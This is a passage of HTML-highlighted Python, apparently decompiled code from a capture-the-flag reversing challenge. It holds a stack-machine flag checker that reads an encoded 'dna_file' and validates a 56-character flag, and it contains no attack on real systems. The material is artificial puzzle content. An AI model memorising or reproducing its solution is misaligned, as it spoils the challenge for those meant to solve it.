style=\"color:#8045ff\"\u003e\\x0c\\x04\\x15\\x00\\x02\\r\\x00\\x12\\x12\\x9b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e@\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x06\\r\\x0e\\x03\\x00\\r\\x12\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eIH:F\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x0f\\x14\\x02\\r\\x04\\x0e\\x15\\x08\\x05\\x04\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x0c\\x00\\x11\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eF\u0026lt;A\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\\\\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eA,%I\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x9b\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e`H\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xc8\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\xbb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x15\\x18\\x11\\x04\\xbb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x05\\x08\\x02\\x15\\xbb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x04\\x19\\x04\\x02\\xbb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ec\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x0f\\x0c\\xc8\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ec\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x13\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eLaaa\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x13\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eSaaa\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x13\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003enaaa\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x13\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003enaaa\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x13\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eqaaa\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x13\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003epaaaVaaa\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\x92\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003egaaaqbumyb\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003etrans\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003elambda\u003c/span\u003e \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esum\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e((\u003c/span\u003e\u003cspan style=\"color:#111\"\u003enm\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ec\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ec\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eenumerate\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003elen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esys\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eargv\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003eprint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;Usage: \u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e{\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esys\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eargv\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e \u0026lt;dna_file\u0026gt;\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003esys\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eexit\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003ecode\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eopen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esys\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eargv\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e])\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eread\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003einput\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u0026gt; \u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eencode\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003elen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e56\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003eexit\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;WRONG!\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[:\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e6\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;.;,;.{\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003eexit\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;WRONG!\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[(\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)]\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e125\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003eexit\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;WRONG!\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e6\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:(\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#111\"\u003erange\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003elen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003em\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e640\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003ewhile\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003elen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ecode\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epri\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epro\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003emap\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003etrans\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ecode\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e],\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ecode\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e12\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003e@pri\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eappend\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epro\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e12\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# inserted\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#00a8c8\"\u003eraise\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eException\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;Stack underflow\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# inserted\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#00a8c8\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epro\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#111\"\u003em\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#00a8c8\"\u003eraise\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eException\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;Uninitialized memory access at \u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e{\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epro\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eappend\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003em\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epro\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e12\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# inserted\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#00a8c8\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        \u003cspan style=\"color:#00a8c8\"\u003eraise\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eException\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;Stack underflow\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#111\"\u003em\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epro\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e12\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# inserted\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#00a8c8\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003elen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                            \u003cspan style=\"color:#00a8c8\"\u003eraise\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eException\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;Stack underflow\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        \u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(),\u003c/span\u003e \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eappend\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        \u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# inserted\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        \u003cspan style=\"color:#00a8c8\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan 